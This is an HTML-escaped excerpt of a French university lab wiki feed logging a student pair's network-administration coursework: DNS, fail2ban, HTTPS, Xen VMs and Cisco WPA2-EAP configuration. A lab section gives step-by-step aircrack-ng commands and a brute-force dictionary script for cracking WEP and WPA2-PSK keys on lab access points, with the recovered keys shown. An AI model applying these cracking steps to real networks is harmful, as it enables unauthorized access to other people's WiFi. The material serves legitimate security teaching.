zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Création du Vlan24''' avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès, &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12351</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12351"/>
		<updated>2026-02-23T10:10:41Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
